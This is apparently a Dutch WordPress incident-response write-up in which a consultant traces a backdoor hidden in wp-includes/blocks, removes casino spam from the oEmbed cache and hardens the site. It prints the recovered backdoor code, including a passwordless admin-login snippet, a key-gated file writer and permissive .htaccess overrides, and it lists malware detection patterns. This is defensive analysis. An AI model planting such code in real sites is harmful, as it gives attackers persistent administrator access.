← Terug naar kennisbank BEVEILIGING

WordPress backdoor in wp-includes/blocks — hoe ik 'm vond na een backup-restore

Een fysiotherapiepraktijk had een backup teruggezet na verdachte meldingen. Toch bleven Wordfence en Sucuri waarschuwen. Twee signature-scans, nul resultaten. Wat het oploste: een handmatige file-tree-diff tegen een schone WordPress-installatie — en acht bestanden in wp-includes/blocks/ die er simpelweg niet in thuishoren.

Een fysiotherapiepraktijk in Nederland had recent een backup teruggezet na verdachte meldingen. Na de restore bleven Wordfence en Sucuri waarschuwen. Ik werd erbij geroepen. Twee scans op klassieke malware-signatures gaven nul resultaten. Pas een handmatige file-tree-diff tegen een schone WordPress-installatie blootlegde wat er echt speelde: acht bestanden in wp-includes/blocks/ die er simpelweg niet in thuishoren.

Waarom de standaard scans niets vonden

Vier grep-patronen die normaal malware vinden, leverden hier niets op:

  • eval(base64_decode / gzinflate / str_rot13 — geen hits
  • Webshell-signatures (FilesMan, WSO, c99shell) — geen hits
  • Hex-encoded function calls — niets verdachts
  • RCE via $_POST / $_GET / $_REQUEST — geen hits

WP-core checksums via de officiële API: 39 mismatches, allemaal verklaarbaar — gebundelde themes, CRLF→LF op één JS-bestand. Het probleem zit hem in wat die API controleert: gewijzigde core-bestanden. Niet extra bestanden. Een aanvaller die niets aanpast maar gewoon nieuwe bestanden toevoegt aan een bestaande map, is volledig onzichtbaar voor checksums.

Kernprobleem met signature-scans: ze zoeken naar bekende patronen in bestaande bestanden. Een aanvaller die plausibele namen kiest en zijn payloads in bestaande core-submappen plaatst, passeert ze volledig. De tree-diff kijkt naar wat er aanwezig is, niet naar hoe het eruitziet.

De file-tree-diff die het oploste

Ik schreef een Python-script dat de volledige bestandsboom van de site vergelijkt met een schone WordPress 7.0 NL-bundel:

import os, hashlib

# Walk both trees, vergelijk per relatief pad
clean = walk('/tmp/wp70nl_clean/wordpress')   # uit officiële zip
site  = walk('./')                             # site-backup

extras = sorted(set(site) - set(clean))   # extra bestanden op site vs. schone core

Resultaat: 12 extra bestanden in wp-includes/blocks/ — in bestaande block-submappen verstopt met plausibele namen:

wp-includes/blocks/freeform/.htaccess                    (413 bytes)
wp-includes/blocks/freeform/mysqli-cluster-config.php    (1551 bytes)
wp-includes/blocks/list-item/.htaccess                   (413 bytes)
wp-includes/blocks/list-item/sync.php                    (5813 bytes)
wp-includes/blocks/post-terms/.htaccess                  (413 bytes)
wp-includes/blocks/post-terms/load-styles-vendor.php     (4934 bytes)
wp-includes/blocks/spacer/.htaccess                      (413 bytes)
wp-includes/blocks/spacer/sync.php                       (5813 bytes)

De twee sync.php-bestanden zijn byte-identiek — bevestigd met diff. Vier mappen, vier .htaccess-bestanden, drie unieke PHP-payloads.

Waarom wp-includes/blocks/? Het is een map die beveiligingsscanners nauwelijks controleren op extra bestanden — het zijn core-bestanden, dus ze worden als "vertrouwd" gezien. De submappen (freeform/, list-item/, spacer/) zijn echte WordPress-mappen die normaal alleen JSON en PHP-blok-definities bevatten. Een naam als sync.php of mysqli-cluster-config.php klinkt zelfs in die context nog enigszins plausibel.

Wat er in die bestanden stond

mysqli-cluster-config.php — silent admin-login

Bezoekers die direct naar dit bestand browsen werden automatisch ingelogd als eerste admin in de database. Geen wachtwoord nodig:

require_once($wp_load);
$admin_users = get_users(['role' => 'administrator', 'orderby' => 'ID', 'number' => 1]);
$user_id = $admin_users[0]->ID;
wp_set_auth_cookie($user_id, true);
update_user_meta($user_id, 'last_login', current_time('mysql'));
wp_redirect(admin_url());
exit;

Directe URL naar dit bestand in de browser → automatisch admin-sessie → redirect naar wp-admin. Dat update_user_meta met last_login bleek later cruciaal — het liet een timestamp achter in de database waaruit ik kon afleiden wanneer de backdoor voor het laatst was misbruikt.

sync.php (twee identieke kopieën) — GitHub payload-installer

Een POST-endpoint dat een GitHub Personal Access Token en repo-naam accepteert, en via curl bestanden uit die repo trekt naar /wp-content/plugins/advanced-code-manager/. De hacker kon on-demand nieuwe payloads droppen zonder dat de hosting-firewall alarm sloeg — het verkeer gaat immers via api.github.com, een legitiem adres dat vrijwel nooit geblokkeerd wordt.

load-styles-vendor.php — password-protected file-writer

if ($_REQUEST['custom_key'] === 'PtXe*JMQ%jT2HS!BSRc4a$$^') {
    file_put_contents($file_path, $_REQUEST['file']);
}

Met de hardcoded sleutel kon willekeurige PHP naar de huidige map worden weggeschreven. Geen authenticatie anders dan die ene string in de query-parameter. Eenvoudig, effectief, en zonder obfuscatie dus onzichtbaar voor code-pattern-scanners.

De vier .htaccess-bestanden

Identieke inhoud in alle vier mappen — ze overschrijven WordPress's standaard rewrite-regels zodat directe URL-aanroepen naar de PHP-bestanden worden uitgevoerd in plaats van via index.php te routen:

Options +Indexes
DirectoryIndex index.html index.php
<Files ~ "\.(php|phtml|PHP)$">
RewriteEngine off
<IfModule mod_authz_core.c>
Require all granted
</IfModule>
</Files>

Zonder deze .htaccess-bestanden zou WordPress de URL rewriten naar de frontpage. Met deze override zijn de backdoor-URLs rechtstreeks bereikbaar.

De hacker-fingerprint

Wat me opviel in de broncode: Chinese klassieke poëzie als comments. In mysqli-cluster-config.php staat 凤求凰 — Phoenix Seeking Phoenix, een gedicht uit de Han-dynastie. In load-styles-vendor.php Cao Zhi's 洛神赋 (Ode aan de Godin van Luo). Foutmeldingen zijn in vereenvoudigd Chinees: 无法找到 (kan niet vinden), 创建目录失败 (map aanmaken mislukt), 写入失败 (schrijven mislukt).

GitHub als delivery-kanaal is typisch voor Chinese hacker-toolkits uit de periode 2024–2026. Het omzeilt hosting-firewalls omdat het verkeer van api.github.com afkomstig is — een domein dat vrijwel geen hostingpartij blokkeert. Het modulaire design — auth-bypass, payload-dropper, file-writer — is een volledige persistence-kit in drie bestanden. De dubbele kopie van sync.php suggereert dat het script automatisch werd uitgerold naar meerdere mappen tegelijk.

Database: de phantom admin

Na de bestanden keek ik in de database. Eerste query:

SELECT * FROM ffeg_usermeta WHERE user_id = 0;
umeta_id user_id meta_key meta_value
391 0 ffeg_capabilities a:1:{s:13:"administrator";b:1;}
392 0 ffeg_user_level 10

user_id = 0 bestaat niet als echte gebruiker — SELECT * FROM ffeg_users WHERE ID = 0 geeft nul rijen. Toch heeft dit nul-ID administrator-rechten in usermeta. Het verschijnt niet in het WordPress-gebruikersoverzicht, maar kan via meta-queries als admin worden behandeld. Een phantom admin die onzichtbaar is tenzij je direct in de database kijkt.

De backdoor-misbruik-timestamp:

SELECT * FROM ffeg_usermeta WHERE meta_key = 'last_login';

Één rij: user_id=1, value 2026-06-04 08:20:05. last_login is geen standaard WordPress meta-key — hij wordt expliciet door regel 58 van mysqli-cluster-config.php weggeschreven. Hard bewijs dat de backdoor minstens één keer is misbruikt op 4 juni 2026, om 8:20 's ochtends. Twaalf dagen voor ontdekking.

Database: 10.543 rijen casino-spam in de oEmbed-cache

In WordPress slaat de oEmbed-functie embed-resultaten op als _oembed_[hash] in postmeta. Op post 6912 bleken duizenden van die cache-entries vervangen door Russische casino-, dating- en crypto-spam.

Query op _oembed_-entries met {unknown} als waarde in phpMyAdmin
Query op _oembed_-entries met {{unknown}} als waarde — 9.813 van dit soort placeholders stonden op post 6912
Russische casino- en dating-teksten zichtbaar in de preview-kolom van de oEmbed-entries
De Russische casino- en dating-teksten in de preview-kolom — casino bonus, онлайн dating, crypto exchanges

Ik deed de cleanup in vier rondes:

-- Ronde 1: pinterest-casino iframes
DELETE FROM ffeg_postmeta
WHERE post_id = 6912 AND meta_key LIKE '_oembed_%'
  AND (meta_value LIKE '%casino%' OR meta_value LIKE '%pinterest%');
-- 50 rijen verwijderd

-- Ronde 2: Russisch + spam-keywords
DELETE FROM ffeg_postmeta
WHERE post_id = 6912 AND meta_key LIKE '_oembed_%'
  AND (meta_value REGEXP '[А-Яа-я]'
       OR meta_value LIKE '%bonus%' OR meta_value LIKE '%gambling%'
       OR meta_value LIKE '%dating%' OR meta_value LIKE '%crypto%');
-- 315 rijen verwijderd

-- Ronde 3: wees-timestamps
DELETE FROM ffeg_postmeta
WHERE post_id = 6912 AND meta_key LIKE '_oembed_time_%'
  AND CONCAT('_oembed_', SUBSTRING(meta_key, 14)) NOT IN (
    SELECT meta_key FROM (
      SELECT meta_key FROM ffeg_postmeta
      WHERE post_id = 6912 AND meta_key LIKE '_oembed_%'
    ) AS t
  );
-- 365 rijen verwijderd

-- Ronde 4: overgebleven {unknown} placeholders
DELETE FROM ffeg_postmeta
WHERE post_id = 6912 AND meta_key LIKE '_oembed_%'
  AND meta_value = '{{unknown}}';
-- 9.813 rijen verwijderd
Derde cleanup-ronde in phpMyAdmin met Pinterest- en casino-iframes gecombineerd in de WHERE-clausule
Derde cleanup-ronde: Pinterest- en casino-iframes gecombineerd in de WHERE-clausule om wees-timestamps te vinden

Totaal: 10.543 rijen uit één post-meta. De oEmbed-cache is een onverwachte verstopplek — de meeste cleanup-scripts richten zich op wp_posts en wp_options, maar springen over postmeta van specifieke posts heen.

Cloaking-verificatie

Nadat alles weg was, controleerde ik of de cloaking echt dicht zat — dat browsers en Googlebot dezelfde pagina te zien kregen:

URL="https://www.klant-domein.nl/behandeling-pagina/"

curl -sL -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/124.0" \
  -o /tmp/chrome.html "$URL"

curl -sL -A "Googlebot/2.1 (+http://www.google.com/bot.html)" \
  -o /tmp/googlebot.html "$URL"

diff <(wc -c < /tmp/chrome.html) <(wc -c < /tmp/googlebot.html)
grep -cE "[ぁ-ゟァ-ヿ]{3,}" /tmp/*.html

Resultaat: identieke 211 KB responses, 0 Japanse karakters. Google toonde op dat moment nog steeds spam-resultaten — アイムピンチ cosmetica, JR九州 aandelenkortingen met 4.8-ster Product-schema markup — maar dat is cache-lag. Via Google Search Console heb ik de Removals tool gebruikt met URL-voorvoegsel /products/, en daarna de homepage opnieuw laten indexeren.

Hardening daarna

Na de cleanup vier dingen direct toegepast:

In wp-root .htaccess — xmlrpc dichtgooien:

<Files xmlrpc.php>
  Require all denied
</Files>

In wp-content/uploads/.htaccess — PHP-uitvoering verbieden:

<FilesMatch "\.(php|phtml|php3|php4|php5|php7|php8|pht|phar)$">
  <IfModule mod_authz_core.c>
    Require all denied
  </IfModule>
</FilesMatch>
Options -Indexes

In wp-config.php:

define('DISALLOW_FILE_EDIT', true);
define('WP_AUTO_UPDATE_CORE', true);

DISALLOW_FILE_EDIT zet de ingebouwde bestand-editor in het dashboard uit. WP_AUTO_UPDATE_CORE op true zorgt dat ook major core-updates automatisch worden geïnstalleerd — zet dit alleen aan als je een werkende backup-routine hebt.

Plus 8 verse salts via de officiële WordPress API — invalideert alle bestaande sessie-cookies, inclusief eventuele actieve sessies van de hacker. Genereer ze via https://api.wordpress.org/secret-key/1.1/salt/ en vervang de bestaande regels in wp-config.php.

Aanvullend: 2FA inschakelen op het admin-account. Een gestolen wachtwoord is dan waardeloos — zonder de tweede factor kom je niet binnen. Ik gebruik hiervoor de plugin Two Factor (gemaakt door WordPress core-developers) of Wordfence Login Security. En de login-URL verplaatsen via WPS Hide Login — bots die hardcoded /wp-login.php aanvallen, krijgen een 404 en gaan weg.

Cijfers

Metriek Aantal
Backdoor-bestanden verwijderd 8 (4 PHP + 4 .htaccess)
Lege wees-map verwijderd 1
Database-rijen opgeruimd 10.561
Tijd eerste misbruik tot ontdekking 12 dagen
Doorlooptijd cleanup ~6 uur (over 2 dagen)